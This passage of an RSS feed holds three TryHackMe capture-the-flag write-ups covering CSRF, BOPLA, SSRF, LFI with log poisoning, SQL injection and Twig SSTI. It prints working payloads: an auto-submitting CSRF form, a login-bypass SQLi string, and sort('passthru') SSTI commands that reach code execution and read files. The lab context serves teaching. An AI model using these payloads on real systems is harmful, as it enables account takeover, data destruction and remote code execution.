src="https://cdn-images-1.medium.com/max/1024/1*MV_yUs6_OOSpNAXLcyjT9g.png" /></figure><p>I opened Burp Suite and intercepted a legitimate password-change request.</p><p>The request looked like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BriRgk1L3kdVFOyggPoDKA.png" /></figure><p>The interesting part was that the request required only one parameter:</p><pre>new_password=newpassword</pre><p>I couldn’t see any CSRF token in the request.</p><p>This suggested that the password-change functionality might be vulnerable to CSRF.</p><h4>Creating the CSRF Page</h4><p>To test this, I created an HTML page containing a form that automatically submits a POST request to the password-change endpoint.</p><p>I saved it as csrf.html:</p><pre>&lt;!DOCTYPE html&gt;<br>&lt;html&gt;<br>&lt;head&gt;<br>    &lt;title&gt;CSRF&lt;/title&gt;<br>&lt;/head&gt;<br>&lt;body&gt;<br>&lt;form id=&quot;csrf&quot;<br>          action=&quot;http://login.worldwap.thm/change_password.php&quot;<br>          enctype=&quot;application/x-www-form-urlencoded&quot;<br>          method=&quot;POST&quot;&gt;<br>        &lt;input name=&quot;new_password&quot;<br>               type=&quot;hidden&quot;<br>               value=&quot;NewPassword123&quot;&gt;<br>    &lt;/form&gt;<br>    &lt;script&gt;<br>        document.getElementById(&quot;csrf&quot;).submit();<br>    &lt;/script&gt;<br>&lt;/body&gt;<br>&lt;/html&gt;</pre><p>The form contains a hidden password field, and JavaScript automatically submits it when the page loads.</p><h4>Hosting the CSRF Page</h4><p>I created a directory on Kali to store the HTML file:</p><pre>mkdir -p ~/csrf<br>cd ~/csrf<br>nano csrf.html</pre><p>Then, I started a Python HTTP server:</p><pre>python3 -m http.server 80</pre><p>My page was accessible through:</p><pre>http://192.168.136.194:8888/csrf.html</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QtWC7Y7tuCf0K029JThRWQ.png" /></figure><h4>Triggering the CSRF Attack</h4><p>The application also provided a chat functionality that allowed messages to be sent to the admin user.</p><p>I used this functionality to deliver the link to my hosted page.</p><p>When the admin visited the page, the browser automatically submitted the password-change form.</p><p>If the browser included the authenticated session cookie and the application accepted the request, the admin password would be changed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BjpsScAX7bcRO3PO0SU67w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KgwYO7BsLGwqrbJUYBKVbg.png" /></figure><h4>Logging in as Admin</h4><p>After the password-change request was successfully processed, I returned to the login page and used the new password.</p><p>I was successfully authenticated as the admin user and redirected to:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0VCK724exgSYdRv1Mpiluw.png" /></figure><p>The admin profile displayed the second flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CT54k_6sQLtkwMRjFQvH-w.png" /></figure><blockquote><em>At the end, I hope you enjoyed reading this write-up and found it useful and informative.</em></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3d50a2692f2b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe Include: From BOPLA to LFI and RCE]]></title>
            <link>https://medium.com/@ziy4d0x/tryhackme-include-from-bopla-to-lfi-and-rce-1283ebf3a90f?source=rss-f7d2af74f7e8------2</link>
            <guid isPermaLink="false">https://medium.com/p/1283ebf3a90f</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[bugbounty-writeup]]></category>
            <dc:creator><![CDATA[Ziyad Walid [ziy4d0x]]]></dc:creator>
            <pubDate>Fri, 23 Oct 2026 17:36:07 GMT</pubDate>
            <atom:updated>2026-10-23T17:36:07.654Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WOUXJknZWcnL_sbg4V_aBQ.png" /></figure><h3>Introduction</h3><blockquote>In this write-up, I’ll walk through my experience solving the <strong>Include </strong>room on TryHackMe<strong>[</strong><a href="https://tryhackme.com/room/include">https://tryhackme.com/room/include</a><strong>]</strong>, covering the process from initial reconnaissance to exploiting multiple web application vulnerabilities and achieving Remote Code Execution (RCE).</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*J7n0uliCvLgG35yM3SefuQ.png" /><figcaption>🎯<strong><em>The TryHackMe Include room and its objectives.</em></strong></figcaption></figure><h3>Stage 1: Reconnaissance</h3><h4>1.1. Scanning Open Ports</h4><p>As usual, I started with port scanning to identify the services running on the target machine.</p><p>I used Nmap with service version detection and scanned all TCP ports:</p><pre>nmap 10.129.165.138 -sV -p-</pre><blockquote>The -p- option scans all TCP ports, while -sV attempts to identify the services and their versions.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fQKyaJP_UlvqsPxrgbJoVg.png" /><figcaption><em>The initial scan reveals the exposed services and provides the first clues for further enumeration.</em></figcaption></figure><h4>1.2. Accessing the Web Applications</h4><p>My first attempt was to access the target through the standard HTTP port, 80. However, I couldn’t access the application there.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hCRWuZvAyPvrxFTzlKmLCA.png" /><figcaption>Port =&gt; 80 or 443</figcaption></figure><p>Instead of assuming the web server was unavailable, I returned to the scan results and investigated the other open ports.</p><p>I discovered web applications accessible through ports <strong>4000 and 50000</strong>.</p><p>This was an important reminder: web applications don’t necessarily run on the default HTTP and HTTPS ports. Whenever a scan reveals unusual open ports, it’s worth investigating whether they host additional web services.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rJxsKzHoTwKBxgwWTQGLFA.png" /><figcaption>Port =&gt; 4000</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DX3-PXsBL361GPsRiNZcSg.png" /><figcaption>Port =&gt; 50000</figcaption></figure><h4>1.3. Directory Enumeration</h4><p>Next, I performed directory enumeration to discover additional resources and potentially interesting endpoints.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VQfLYVzbp3Xgzuqj3haGJQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AQQmCmzwpHJkHfHN9slUwg.png" /></figure><p><em>Enumerating the web application to identify accessible directories and resources.</em></p><p>At this point, I had identified the web applications and established a starting point for further investigation.</p><blockquote>The next step was to examine their functionality and determine whether any of the exposed features could be exploited.</blockquote><h3>Stage 2: Discovering the Administrative Credentials</h3><h4>2.1. Investigating the Login Application</h4><p>I started by opening the application on port 50000 in Firefox using HTTP.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_vSsEsfE_dyWaVBHJ8WYTA.png" /><figcaption><em>Accessing the login interface exposed on port 50000.</em></figcaption></figure><p>The application presented a login page, so I began investigating its authentication mechanism.</p><p>My first idea was to test whether SQL injection could bypass the login process.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nw7zOqiw1ga3S5_kQUHTpQ.png" /></figure><p>However, my initial attempts didn’t succeed. I couldn’t establish a working SQL injection vulnerability from the login form.</p><blockquote>Rather than spending more time forcing an unsuccessful attack, I returned to the other application running on port 4000.</blockquote><h4>2.2. Accessing the Second Web Application</h4><p>I opened the application on port 4000 and explored its functionality.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*B5PUCyRX6fJM7inXTg-kow.png" /></figure><p><em>Investigating the second web application exposed by the initial scan.</em></p><blockquote>During this stage, I identified an opportunity to use the credentials discovered during my investigation of the authentication functionality.</blockquote><p>After authenticating, I was able to access the application as the guest user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Vr9hM0J0iOHJMYPthQGa7A.png" /><figcaption><em>The application displays the guest profile after authentication.</em></figcaption></figure><blockquote>Although I had access to the application, I still needed to investigate whether the current account had access to functionality intended for administrators.</blockquote><h4>2.3. Inspecting the Profile and Session</h4><p>I opened my profile and examined the information associated with the authenticated user.</p><p>The profile exposed several properties, includingisAdmin property caught my attention.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*R37uOW8GtB85MBX3Nz3SaQ.png" /></figure><p>I wanted to determine whether the application properly enforced authorization over individual user properties or whether it trusted values that could be manipulated by the client.</p><p>I also inspected the session cookie. My initial investigation didn’t reveal an obvious way to modify the session by Base64-decoding it or exploiting insecure deserialization.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*svlR6YzOZsZhK2JgWU72Yw.png" /><figcaption>Examining the user profile and session to understand how the application represents authenticated users.</figcaption></figure><blockquote>This led me to investigate the profile data itself.</blockquote><h4>2.4. Exploiting BOPLA (Broken Object Property Level Authorization)</h4><p>While examining the profile functionality, I discovered that the isAdmin property could be manipulated.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/878/1*eMhjjwgU2U_tJHyb9QtKDA.png" /><figcaption>Try to add test</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/874/1*N6IZbyYdinOLNVtNvbJYQQ.png" /></figure><p>I changed the property to:</p><pre>{<br>  isAdmin: True<br>}</pre><p>The application subsequently displayed the modified property in the profile.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dA5f28fvgsLe04z9DH47fw.png" /><figcaption><em>The profile displays </em><em>isAdmin: &quot;true&quot; after the property manipulation.</em></figcaption></figure><blockquote>This finding indicated a potential <strong>Broken Object Property Level Authorization (BOPLA)</strong> vulnerability.</blockquote><p>After manipulating the property, I noticed additional navigation options in the application, including the API and Settings tabs.</p><p>This gave me more functionality to investigate.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EN5LI4PpTIQFMCPtjP3pyQ.png" /><figcaption><em>The application exposes additional navigation options after the profile property is modified.</em></figcaption></figure><h3>Stage 3: Exploiting SSRF to Retrieve SysMon Credentials</h3><h4>3.1. Exploring the API and Settings</h4><p>After investigating the profile functionality, I explored the newly accessible tabs.</p><p>The API section revealed information about the application’s functionality and the services it interacted with.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Rp6LTd_2ULQvKimm-8qbOg.png" /><figcaption><em>Investigating the API functionality and identifying additional information about the application.</em></figcaption></figure><p>I then moved to the Settings section , the settings page contained a feature for updating the banner image URL.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QQwJyvyZ-SkZ0wPM4LHowA.png" /></figure><p>At first glance, this appeared to be an ordinary feature that allowed the application to retrieve an image from a specified URL.</p><p>However, any server-side feature that fetches user-supplied URLs deserves further investigation. If the application doesn’t validate the destination properly, an attacker may be able to make the server send requests to internal services that aren’t directly accessible from outside.</p><p>This is the basic idea behind <strong>Server-Side Request Forgery (SSRF)</strong>.</p><h4>3.2. Testing for SSRF</h4><p>The banner image setting allowed me to provide a URL.</p><p>I investigated whether the application would fetch resources from internal services rather than restricting requests to trusted external destinations.</p><p>I used the following internal URL in the banner image field:</p><pre>http://127.0.0.1:5000/getAllAdmins101099999</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/853/1*iweue-MyMs5BAac1rhXqtQ.png" /><figcaption><em>The banner image URL field containing a request to an internal service.</em></figcaption></figure><h4>3.3. Discovering Encoded Configuration Data</h4><p>After submitting the request, I observed that the application returned content formatted as a Base64-encoded data URL.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/794/1*k7NoNZBpYfF4vlrIQKPWlA.png" /><figcaption><em>The response contains Base64-encoded JSON data instead of an ordinary image.</em></figcaption></figure><p>I copied the encoded content and opened CyberChef to decode it.</p><p>After decoding the Base64 data, I discovered configuration information containing credentials for the SysMon application.</p><p>The relevant fields were:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ysifx9c8P_6DmL3Ql74L2g.png" /><figcaption>The recovered password is omitted from this public write-up. <em>Decoding the Base64 response reveals sensitive SysMon application configuration.</em></figcaption></figure><p>This finding provided the credentials needed for the next stage.</p><h4>3.4. Accessing SysMon</h4><p>With the recovered credentials, I returned to the SysMon application and attempted to authenticate.</p><p>The credentials provided access to the application, allowing me to continue investigating its functionality.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OC2h-FDN3jwKqa8ETF6w4w.png" /><figcaption><em>Authenticating to SysMon with the recovered lab credentials.</em></figcaption></figure><p>After gaining access, I located the first flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jWUn_IOAohTFhZ4c_Y3jjw.png" /><figcaption><em>The first flag is located after gaining access to SysMon.</em></figcaption></figure><h3>Stage 4: Exploiting Local File Inclusion</h3><h4>4.1. Investigating SysMon Functionality</h4><p>While exploring SysMon, I encountered a feature related to logging.</p><blockquote>This caught my attention because log files can sometimes become an entry point for further exploitation when an application has a Local File Inclusion vulnerability.</blockquote><blockquote>The idea is straightforward: if an application allows an attacker to include or read arbitrary local files, and the attacker can influence the contents of a log file, it may be possible to turn file inclusion into code execution.</blockquote><blockquote>This technique is commonly known as <strong>LFI-to-RCE through log poisoning</strong>.</blockquote><blockquote>The logging functionality provided a useful lead, so I began investigating the application for a vulnerable file inclusion endpoint.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CulG86jR-URKNF17JCSN3Q.png" /><figcaption><em>Investigating the logging-related feature that provided a clue for the next exploitation stage.</em></figcaption></figure><h4>4.2. Identifying the File Inclusion Endpoint</h4><p>I examined the application’s source and available functionality to identify how it handled files and user-controlled parameters.</p><p>The objective was to find an endpoint that accepted a file path or resource identifier and determine whether the application properly restricted which files could be accessed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*44pn9i2YxUg88KFTKUAhZg.png" /><figcaption><em>Examining the application to identify the endpoint and parameter associated with file inclusion.</em></figcaption></figure><p>After experimenting with different inputs, I found a payload that allowed me to retrieve /etc/passwd.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*K4VsYS-SypJf5HD7SOQ9bw.png" /><figcaption><em>The application returns the contents of </em><em>/etc/passwd, confirming arbitrary local file access.</em></figcaption></figure><blockquote>This confirmed that the application had a Local File Inclusion vulnerability.</blockquote><blockquote>The next question was whether I could influence a file that the vulnerable application would subsequently interpret as PHP code.</blockquote><h3>Stage 5: From LFI to RCE Through Log Poisoning</h3><h4>5.1. Understanding the Attack Path</h4><p>During my initial reconnaissance, Nmap had identified a mail service on port 25.</p><p>I connected this finding with the logging functionality I had discovered earlier.</p><p>Mail services commonly write information about incoming messages and mail activity to log files. On some Linux systems, these logs may be stored in locations such as:</p><pre>/var/log/mail.log</pre><blockquote>If an attacker can inject controlled content into a log file, and a vulnerable PHP application subsequently includes that file, the attacker may be able to cause the PHP interpreter to execute the injected code.</blockquote><p>The success of this technique depends on the target’s configuration, the permissions of the relevant files, and how the application processes the included file.</p><p>The objective was to introduce a PHP payload into the log and then use the previously identified LFI vulnerability to include it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/945/1*G7B6Y7nx52hFBFoPOBvL4w.png" /><figcaption><em>Sending controlled content through the mail service as part of the log-poisoning investigation.</em></figcaption></figure><h4>5.2. Achieving Remote Code Execution</h4><p>After attempting the log-poisoning technique, I used the file inclusion vulnerability to trigger the processing of the modified log.</p><p>I then tested command execution using:</p><pre>id</pre><p>The command returns the identity of the user under which the process is executing.</p><p>In this context, it provided a straightforward way to determine whether the injected PHP code was being executed by the server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/964/1*x2RrDYVaHxZCVjUdhYDttQ.png" /><figcaption><em>The output of the </em><em>id command confirms that the log-poisoning technique resulted in command execution.</em></figcaption></figure><blockquote>The original LFI vulnerability had allowed me to read a local file. By combining it with the ability to influence a log file, I was able to extend the impact to Remote Code Execution.</blockquote><h4>5.3. Locating the Second Flag</h4><p>After confirming command execution, I continued investigating the filesystem to locate the remaining flag.</p><p>My objective was to identify hidden files and directories that might contain the requested evidence.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IgYw-BJcj0Q2OEHek5ilCg.png" /><figcaption><em>Enumerating the accessible filesystem after obtaining command execution.</em></figcaption></figure><p>During this stage, I located the file containing the second flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LBXCRzjmmXIJEnovCP5kAQ.png" /><figcaption><em>The second flag is revealed after further filesystem enumeration.</em></figcaption></figure><blockquote>With both flags located, I had completed the main objectives of the room.</blockquote><blockquote><em>At the end, I hope you enjoyed reading this write-up and found it useful and informative.</em></blockquote><p><strong>Happy hacking!</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1283ebf3a90f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe Injectics CTF Writeup: From SQL Injection to RCE]]></title>
            <link>https://medium.com/@ziy4d0x/tryhackme-injectics-ctf-writeup-from-sql-injection-to-rce-8f46652e966b?source=rss-f7d2af74f7e8------2</link>
            <guid isPermaLink="false">https://medium.com/p/8f46652e966b</guid>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[ctf-walkthrough]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <dc:creator><![CDATA[Ziyad Walid [ziy4d0x]]]></dc:creator>
            <pubDate>Wed, 09 Sep 2026 22:02:36 GMT</pubDate>
            <atom:updated>2026-10-23T17:41:42.458Z</atom:updated>
            <content:encoded><![CDATA[<h3>TryHackMe Injectics: From SQLi to RCE</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*X9TBCWTKLcGv5sWaeLi1aA.png" /></figure><h3>Introduction</h3><blockquote><em>In this write-up, I will walk through my approach to solving the Injectics CTF on TryHackMe [</em><a href="https://tryhackme.com/room/injectics">https://tryhackme.com/room/injectics</a><em>].</em></blockquote><blockquote><em>I’ll cover the reconnaissance process, vulnerability discovery, exploitation, and how the vulnerabilities can be chained together to achieve command execution.</em></blockquote><p>🎯The goal is to retrieve the admin flag and discover the hidden text file inside the flags directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3PxwIZSd-F3lm1J8FSXATQ.png" /><figcaption>Flags to Captured</figcaption></figure><h3>Stage 1: Reconnaissance</h3><p>Let’s start with an Nmap Scan:</p><pre>nmap &lt;Tareget-Ip&gt; -p- -sV</pre><blockquote>Results</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YqguQKc3O3fVeYq9jzQdxA.png" /><figcaption>The scan revealed an HTTP service running on port 80, so I moved on to web enumeration.</figcaption></figure><p>Since our entry point is probably the web server, we scan for possible directories and pages using gobuster</p><pre>gobuster dir -u http://&lt;target IP&gt; -w &lt;wordlist&gt; -x php,json,html,txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/880/1*jRzB9RyrjMxKjOjmCm4PSQ.png" /><figcaption>Gobuster Results reveals important directories</figcaption></figure><p>This reveals that a flags folder exists for the 2nd flag, but when I try to open it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/576/1*DueK_G3jIquYHNc5P0KlKg.png" /><figcaption>Forbidden to access flags folder so we need to have admin access so continue enum.</figcaption></figure><p>Next, I went to the composer.json directory to see what versions of libraries are allowed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/572/1*-gNfHxLSrdkvjC-ujd1kUQ.png" /><figcaption>We can see that the webserver is using the twig template engine, which might be susceptible to SSTI (Server-Side Template Injection).</figcaption></figure><h3>Stage 2: Web Enumeration</h3><p>Since HTTP is available on the target, I opened Firefox and navigated to http://&lt;Target-IP&gt;. The web application loaded successfully, displaying the default webpage.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DUoBNHBnXcDbtQHW0Ig2_A.png" /><figcaption>Home Page</figcaption></figure><p>After manually investigating the website, I found that, as a regular visitor, I could access only two main pages: <strong>Home</strong> and <strong>Login</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ipQ1b1BJiAjmJ9d08iW71g.png" /><figcaption>Visiting the “Login” page showed a log in form.</figcaption></figure><p>As part of my usual enumeration process, I also inspected the page source for any interesting comments or information left by the developer. As expected, I found a critical comment that could potentially open a new path for further investigation.</p><pre>&lt;!-- Website developed by John Tim - dev@injectics.thm--&gt;<br>&lt;!-- Mails are stored in mail.log file--&gt;</pre><blockquote>Comments leaved by developer in home page source code</blockquote><p>When try to open the “mail.log” file, I was able to see a message written by the developers.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gF-uvHhTAAZNzzG_t_Wk2w.png" /><figcaption>Mail.log file</figcaption></figure><p>The mail revealed an interesting detail: a background monitoring service named <strong>Injectics</strong> runs every minute and restores the users table with default credentials if the table is deleted or corrupted.</p><p>This gave me an interesting attack path. If I could delete the users table through SQL Injection, the monitoring service would recreate it with the default credentials, potentially allowing me to authenticate as the <strong>superadmin</strong> user.</p><p>Next, I inspected the source code of the <strong>Login</strong> page. There, I discovered a JavaScript file named script.js that implements a client-side filter intended to prevent SQL Injection.</p><pre>$(&quot;#login-form&quot;).on(&quot;submit&quot;, function(e) {<br>    e.preventDefault();<br>    var username = $(&quot;#email&quot;).val();<br>    var password = $(&quot;#pwd&quot;).val();<br><br> const invalidKeywords = [&#39;or&#39;, &#39;and&#39;, &#39;union&#39;, &#39;select&#39;, &#39;&quot;&#39;, &quot;&#39;&quot;];<br>            for (let keyword of invalidKeywords) {<br>                if (username.includes(keyword)) {<br>                    alert(&#39;Invalid keywords detected&#39;);<br>                   return false;<br>                }<br>            }<br><br>    $.ajax({<br>        url: &#39;functions.php&#39;,<br>        type: &#39;POST&#39;,<br>        data: {<br>            username: username,<br>            password: password,<br>            function: &quot;login&quot;<br>        },<br>        dataType: &#39;json&#39;,<br>        success: function(data) {<br>            if (data.status == &quot;success&quot;) {<br>                if (data.auth_type == 0){<br>                    window.location = &#39;dashboard.php&#39;;<br>                }else{<br>                    window.location = &#39;dashboard.php&#39;;<br>                }<br>            } else {<br>                $(&quot;#messagess&quot;).html(&#39;&lt;div class=&quot;alert alert-danger&quot; role=&quot;alert&quot;&gt;&#39; + data.message + &#39;&lt;/div&gt;&#39;);<br>            }<br>        }<br>    });<br>});</pre><blockquote>The script handles the login process entirely through JavaScript. Instead of allowing the form to submit normally, it intercepts the request and checks the username against a list of SQL-related keywords.</blockquote><blockquote>If the input passes the filter, the username and password are sent to functions.php through an AJAX request. A successful response redirects the user to dashboard.php, while an unsuccessful attempt displays an error message.</blockquote><blockquote><em>💡 </em><strong><em>Hint:</em></strong><em> The filter runs </em><strong><em>client-side</em></strong><em>, so inspect how </em><em>script.js checks and blocks SQL-related keywords before the request reaches the server.</em></blockquote><h3>Stage 3: SQL Injection Discovery &amp; Exploitation</h3><p>To automate the SQL Injection discovery process, I used <strong>SQLMap</strong> against the captured login request.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZA85GcArsU9jlsKZoYATeg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/919/1*x8NsH-Om2cMDw3NckwlfZQ.png" /><figcaption>SQLMap identified the backend database as <strong>MySQL</strong> and confirmed that the injection was <strong>time-based blind SQL Injection</strong>.</figcaption></figure><p>Then, I tried <strong>MySQL-specific SQL Injection payloads</strong> manually in the login form, but I couldn’t bypass it because of the <strong>client-side JS filter</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JGkKHrEJpUCbX9FOQaC1mA.png" /><figcaption>JS filter refused Injection</figcaption></figure><p>So, using Burp Suite, I intercepted a login request and sent it to Intruder to try multiple SQLi payloads from My SQL payloads wordlist to bypass &amp;logging in.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jQFbd1qcDP4bP1HLfhCQWg.png" /><figcaption><strong>Intruder get that payload [ ‘||1;# ] successfully login</strong></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wYO1hX5MhnfJwr01nPzCFA.png" /><figcaption>Burp Repeater with Sucessful payload</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6U3Xo8XB5a_usB1HOEDGQQ.png" /><figcaption>Sucessfully Login as dev but its not admin user</figcaption></figure><h3>Stage 4: Logging in as Superadmin &amp; Retrieving the First Flag</h3><p>After bypassing the login filter and gaining access as a <strong>developer-level user</strong>, I investigated the available functionality. The <strong>Edit</strong> feature provided an opportunity to interact with the database, which I used to trigger the SQL Injection and delete the users table.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8gh446KpxFwN4y15cjPirQ.png" /><figcaption>Edit feature abused to Drop users table</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lQcwZz9dUnwumFiTgeLfxQ.png" /><figcaption>Reseting Credentails Done sucessufuly</figcaption></figure><blockquote>Once the users table was deleted, I waited for the Injectics service to restore it. The table was recreated with the default credentials mentioned by the hint, allowing me to log in as the <strong>superadmin</strong> and retrieve the admin-panel flag.</blockquote><pre>| Email                     | Password                |<br>|---------------------------|-------------------------|<br>| superadmin@injectics.thm  | superSecurePasswd101    |<br>| dev@injectics.thm         | devPasswd123            |</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*W79uSLVNZ3UdTrrIX0VQUw.png" /><figcaption>Loging in as super admin</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/1*dDGnzlzN4zKOTwc1B6VQLg.png" /><figcaption>Sucessful login as admin and gets first flag</figcaption></figure><h3>Stage 5: Discovering and Exploiting Twig SSTI</h3><p><strong>During enumeration, I inspected the application’s configuration and discovered it was using Twig 2.14.0.</strong></p><blockquote>While testing the <strong>Update Profile</strong> section, I then try the following payload <strong>{{7*’7’}}</strong> to see if it is indeed susceptible to SSTI. If we get 49 as a result, then the webserver has a SSTI vulnerability.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/1*4qeOXkpScuiBdl9wPV_t1w.png" /><figcaption>Profile update section trying SSTI</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/1*UJKYwJkdjDvmH57ZIP7EfA.png" /><figcaption>After going to the home page, we can see that the name has been updated to 49, which means SSTI is possible.</figcaption></figure><h3>Stage 6: SSTI to RCE &amp; Gets Second Flag</h3><p>Next, I researched the <strong>Twig 2.14.0</strong> vulnerability and found that the sort filter is affected by <a href="https://nvd.nist.gov/vuln/detail/cve-2022-23614"><strong>CVE-2022-23614</strong></a>.</p><p>I tested the CVE payload:</p><pre>{{ [&#39;whoami&#39;,&#39; &#39;]|sort(&#39;passthru&#39;) }}</pre><ul><li>[&#39;whoami&#39;, &#39; &#39;] ⇒ provides the command string.</li><li>sort(&#39;passthru&#39;) ⇒ in the vulnerable Twig behavior, treats passthru as a PHP callable.</li><li>passthru ⇒ executes the supplied string as an OS command.</li></ul><blockquote>So the chain is:</blockquote><blockquote><strong>SSTI ⇒ vulnerable </strong><strong><em>sort</em> ⇒ PHP callable ⇒ </strong><strong><em>passthru()</em> ⇒ OS command execution.</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*C94EkzDpnj52Ao6lyEjISA.png" /><figcaption>Test Payload</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CpjXjwIPN-T-muG1ooHg7A.png" /><figcaption>The payload worked successfully, confirming <strong>remote command execution through SSTI</strong>.</figcaption></figure><h4>Getting the Second Flag</h4><p>First, I used ls to check the files in the current directory and understand the available paths.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IqypjrV8NVCsKq5L21CWBg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0kI0u2tr0DpAlxjtouqzfw.png" /></figure><p>Then, I ran ls -al flags to inspect the /flags directory, which revealed a .txt file containing the second flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AWZerRt_ysRtQBs-2XI2mQ.png" /><figcaption>ls -al flags command</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*l4uGaszO9fsu5Mn70UUSHg.png" /><figcaption>.txt file revealed</figcaption></figure><p>But before displaying the hidden file, I knew the current working directory through “<strong>pwd</strong>”</p><pre>{{ [&#39;pwd&#39;,&#39; &#39;]|sort(&#39;passthru&#39;) }}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*umxHEkb9RV8OqEGlNr-vBg.png" /></figure><p>Finally, I used cat to read the file and retrieve the flag.</p><pre>{{ [&#39;cat /var/www/html/flags/5d8af1dc14503c7e4bdc8e51a3469f48.txt&#39;,&#39; &#39;]|sort(&#39;passthru&#39;) }}</pre><p>The command executed successfully, revealing the <strong>second flag</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*r2eNo091Z1-ObEQf7L9U4g.png" /><figcaption><strong>Second Flag revealed</strong></figcaption></figure><blockquote>At the end, I hope you enjoyed reading this write-up and found it useful and informative.</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8f46652e966b" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>